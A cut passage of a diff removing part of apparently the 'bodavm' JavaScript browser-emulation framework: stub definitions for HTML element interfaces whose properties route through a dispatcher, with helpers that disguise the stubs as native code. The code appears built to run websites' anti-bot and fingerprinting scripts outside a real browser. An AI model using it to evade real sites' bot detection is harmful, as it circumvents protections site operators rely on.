-bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLOListElement'], "HTMLOListElement"); -bodavm.memory.globalobj['HTMLOListElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLOListElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLOListElement', "reversed", {configurable:true, enumerable:true, get:function reversed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "reversed_get", arguments)}, set:function reversed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "reversed_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOListElement', "start", {configurable:true, enumerable:true, get:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "start_get", arguments)}, set:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "start_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOListElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOListElement', "compact", {configurable:true, enumerable:true, get:function compact (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "compact_get", arguments)}, set:function compact (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "compact_set", arguments)}},'prototype'); - -// HTMLOptGroupElement对象 -bodavm.memory.globalobj['HTMLOptGroupElement'] = function HTMLOptGroupElement(){if (!(this instanceof HTMLOptGroupElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLOptGroupElement'], "HTMLOptGroupElement"); -bodavm.memory.globalobj['HTMLOptGroupElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLOptGroupElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLOptGroupElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptGroupElement'].prototype, "HTMLOptGroupElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptGroupElement'].prototype, "HTMLOptGroupElement", "disabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOptGroupElement', "label", {configurable:true, enumerable:true, get:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptGroupElement'].prototype, "HTMLOptGroupElement", "label_get", arguments)}, set:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptGroupElement'].prototype, "HTMLOptGroupElement", "label_set", arguments)}},'prototype'); - -// HTMLOptionElement对象 -bodavm.memory.globalobj['HTMLOptionElement'] = function HTMLOptionElement(){if (!(this instanceof HTMLOptionElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLOptionElement'], "HTMLOptionElement"); -bodavm.memory.globalobj['HTMLOptionElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLOptionElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLOptionElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "disabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOptionElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "form_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOptionElement', "label", {configurable:true, enumerable:true, get:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "label_get", arguments)}, set:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "label_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOptionElement', "defaultSelected", {configurable:true, enumerable:true, get:function defaultSelected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "defaultSelected_get", arguments)}, set:function defaultSelected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "defaultSelected_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOptionElement', "selected", {configurable:true, enumerable:true, get:function selected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "selected_get", arguments)}, set:function selected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "selected_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOptionElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOptionElement', "text", {configurable:true, enumerable:true, get:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "text_get", arguments)}, set:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "text_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOptionElement', "index", {configurable:true, enumerable:true, get:function index (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "index_get", arguments)}, set:undefined},'prototype'); - -// HTMLOptionsCollection对象 -bodavm.memory.globalobj['HTMLOptionsCollection'] = function HTMLOptionsCollection(){if (!(this instanceof HTMLOptionsCollection)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLOptionsCollection'], "HTMLOptionsCollection"); -bodavm.memory.globalobj['HTMLOptionsCollection'].prototype.__proto__=bodavm.memory.globalobj['HTMLCollection'].prototype; -bodavm.memory.globalobj['HTMLOptionsCollection'].__proto__=bodavm.memory.globalobj['HTMLCollection']; -bodavm.toolsFunc.defineProperty('HTMLOptionsCollection', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionsCollection'].prototype, "HTMLOptionsCollection", "length_get", arguments)}, set:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionsCollection'].prototype, "HTMLOptionsCollection", "length_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOptionsCollection', "selectedIndex", {configurable:true, enumerable:true, get:function selectedIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionsCollection'].prototype, "HTMLOptionsCollection", "selectedIndex_get", arguments)}, set:function selectedIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionsCollection'].prototype, "HTMLOptionsCollection", "selectedIndex_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOptionsCollection', "add", {configurable:true, enumerable:true, writable:true, value:function add (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionsCollection'].prototype, "HTMLOptionsCollection", "add", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOptionsCollection', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionsCollection'].prototype, "HTMLOptionsCollection", "remove", arguments)}},'prototype'); - -// HTMLOutputElement对象 -bodavm.memory.globalobj['HTMLOutputElement'] = function HTMLOutputElement(){if (!(this instanceof HTMLOutputElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLOutputElement'], "HTMLOutputElement"); -bodavm.memory.globalobj['HTMLOutputElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLOutputElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "htmlFor", {configurable:true, enumerable:true, get:function htmlFor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "htmlFor_get", arguments)}, set:function htmlFor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "htmlFor_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "form_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "defaultValue", {configurable:true, enumerable:true, get:function defaultValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "defaultValue_get", arguments)}, set:function defaultValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "defaultValue_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "willValidate", {configurable:true, enumerable:true, get:function willValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "willValidate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "validity", {configurable:true, enumerable:true, get:function validity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "validity_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "validationMessage", {configurable:true, enumerable:true, get:function validationMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "validationMessage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "labels", {configurable:true, enumerable:true, get:function labels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "labels_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "checkValidity", {configurable:true, enumerable:true, writable:true, value:function checkValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "checkValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "reportValidity", {configurable:true, enumerable:true, writable:true, value:function reportValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "reportValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "setCustomValidity", {configurable:true, enumerable:true, writable:true, value:function setCustomValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "setCustomValidity", arguments)}},'prototype'); - -// HTMLParagraphElement对象 -bodavm.memory.globalobj['HTMLParagraphElement'] = function HTMLParagraphElement(){if (!(this instanceof HTMLParagraphElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLParagraphElement'], "HTMLParagraphElement"); -bodavm.memory.globalobj['HTMLParagraphElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLParagraphElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLParagraphElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParagraphElement'].prototype, "HTMLParagraphElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParagraphElement'].prototype, "HTMLParagraphElement", "align_set", arguments)}},'prototype'); - -// HTMLParamElement对象 -bodavm.memory.globalobj['HTMLParamElement'] = function HTMLParamElement(){if (!(this instanceof HTMLParamElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLParamElement'], "HTMLParamElement"); -bodavm.memory.globalobj['HTMLParamElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLParamElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLParamElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLParamElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLParamElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLParamElement', "valueType", {configurable:true, enumerable:true, get:function valueType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "valueType_get", arguments)}, set:function valueType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "valueType_set", arguments)}},'prototype'); - -// HTMLPictureElement对象 -bodavm.memory.globalobj['HTMLPictureElement'] = function HTMLPictureElement(){if (!(this instanceof HTMLPictureElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLPictureElement'], "HTMLPictureElement"); -bodavm.memory.globalobj['HTMLPictureElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLPictureElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; - -// HTMLPreElement对象 -bodavm.memory.globalobj['HTMLPreElement'] = function HTMLPreElement(){if (!(this instanceof HTMLPreElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLPreElement'], "HTMLPreElement"); -bodavm.memory.globalobj['HTMLPreElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLPreElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLPreElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLPreElement'].prototype, "HTMLPreElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLPreElement'].prototype, "HTMLPreElement", "width_set", arguments)}},'prototype'); - -// HTMLProgressElement对象 -bodavm.memory.globalobj['HTMLProgressElement'] = function HTMLProgressElement(){if (!(this instanceof HTMLProgressElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLProgressElement'], "HTMLProgressElement"); -bodavm.memory.globalobj['HTMLProgressElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLProgressElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLProgressElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLProgressElement'].prototype, "HTMLProgressElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLProgressElement'].prototype, "HTMLProgressElement", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLProgressElement', "max", {configurable:true, enumerable:true, get:function max (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLProgressElement'].prototype, "HTMLProgressElement", "max_get", arguments)}, set:function max (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLProgressElement'].prototype, "HTMLProgressElement", "max_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLProgressElement', "position", {configurable:true, enumerable:true, get:function position (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLProgressElement'].prototype, "HTMLProgressElement", "position_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLProgressElement', "labels", {configurable:true, enumerable:true, get:function labels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLProgressElement'].prototype, "HTMLProgressElement", "labels_get", arguments)}, set:undefined},'prototype'); - -// HTMLQuoteElement对象 -bodavm.memory.globalobj['HTMLQuoteElement'] = function HTMLQuoteElement(){if (!(this instanceof HTMLQuoteElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLQuoteElement'], "HTMLQuoteElement"); -bodavm.memory.globalobj['HTMLQuoteElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLQuoteElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLQuoteElement', "cite", {configurable:true, enumerable:true, get:function cite (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLQuoteElement'].prototype, "HTMLQuoteElement", "cite_get", arguments)}, set:function cite (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLQuoteElement'].prototype, "HTMLQuoteElement", "cite_set", arguments)}},'prototype'); - -// HTMLScriptElement对象 -bodavm.memory.globalobj['HTMLScriptElement'] = function HTMLScriptElement(){if (!(this instanceof HTMLScriptElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLScriptElement'], "HTMLScriptElement"); -bodavm.memory.globalobj['HTMLScriptElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLScriptElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "supports", {configurable:true, enumerable:true, writable:true, value:function supports (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].undefined, "HTMLScriptElement", "supports", arguments)}}); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "src_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "noModule", {configurable:true, enumerable:true, get:function noModule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "noModule_get", arguments)}, set:function noModule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "noModule_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "charset", {configurable:true, enumerable:true, get:function charset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "charset_get", arguments)}, set:function charset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "charset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "async", {configurable:true, enumerable:true, get:function async (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "async_get", arguments)}, set:function async (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "async_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "defer", {configurable:true, enumerable:true, get:function defer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "defer_get", arguments)}, set:function defer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "defer_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "crossOrigin", {configurable:true, enumerable:true, get:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "crossOrigin_get", arguments)}, set:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "crossOrigin_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "text", {configurable:true, enumerable:true, get:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "text_get", arguments)}, set:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "text_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "referrerPolicy", {configurable:true, enumerable:true, get:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "referrerPolicy_get", arguments)}, set:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "referrerPolicy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "event", {configurable:true, enumerable:true, get:function event (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "event_get", arguments)}, set:function event (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "event_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "htmlFor", {configurable:true, enumerable:true, get:function htmlFor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "htmlFor_get", arguments)}, set:function htmlFor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "htmlFor_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "integrity", {configurable:true, enumerable:true, get:function integrity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "integrity_get", arguments)}, set:function integrity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "integrity_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "fetchPriority", {configurable:true, enumerable:true, get:function fetchPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "fetchPriority_get", arguments)}, set:function fetchPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "fetchPriority_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "blocking", {configurable:true, enumerable:true, get:function blocking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "blocking_get", arguments)}, set:function blocking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "blocking_set", arguments)}},'prototype'); - -// HTMLSelectElement对象 -bodavm.memory.globalobj['HTMLSelectElement'] = function HTMLSelectElement(){if (!(this instanceof HTMLSelectElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLSelectElement'], "HTMLSelectElement"); -bodavm.memory.globalobj['HTMLSelectElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLSelectElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "autocomplete", {configurable:true, enumerable:true, get:function autocomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "autocomplete_get", arguments)}, set:function autocomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "autocomplete_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "disabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "form", {configurable:true, enumerable:true, get:function form (){return 